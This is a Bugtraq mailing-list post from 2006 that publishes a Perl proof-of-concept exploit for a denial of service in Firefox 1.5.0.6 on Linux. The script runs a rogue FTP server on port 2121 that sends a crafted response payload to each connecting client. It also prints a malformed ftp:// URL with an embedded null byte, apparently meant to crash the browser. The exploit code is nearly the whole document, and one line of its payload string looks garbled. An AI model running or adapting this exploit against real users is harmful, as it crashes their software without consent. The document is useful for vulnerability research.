bugtraq - (exploit) firefox 1.5.0.6 linux DoS

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Message-ID: <975ea99c0608220120o1ec1be59ld7d5d34cea771ed@mail.gmail.com>
Date: Tue, 22 Aug 2006 10:20:55 +0200
From: tomas <toomaaas@...il.com>
To: bugtraq@...urityfocus.com
Subject: (exploit) firefox 1.5.0.6 linux DoS

#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35\".
"x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
        # find out who connected
        my ($client_port, $client_ip) = sockaddr_in($client_addr);
        my $client_ipnum = inet_ntoa($client_ip);
        my $client_host = gethostbyaddr($client_ip, AF_INET);
        print ": $client_host", "[$client_ipnum]\n";
        # send them a message, close connection
        print CLIENT $payload;
        close CLIENT;
}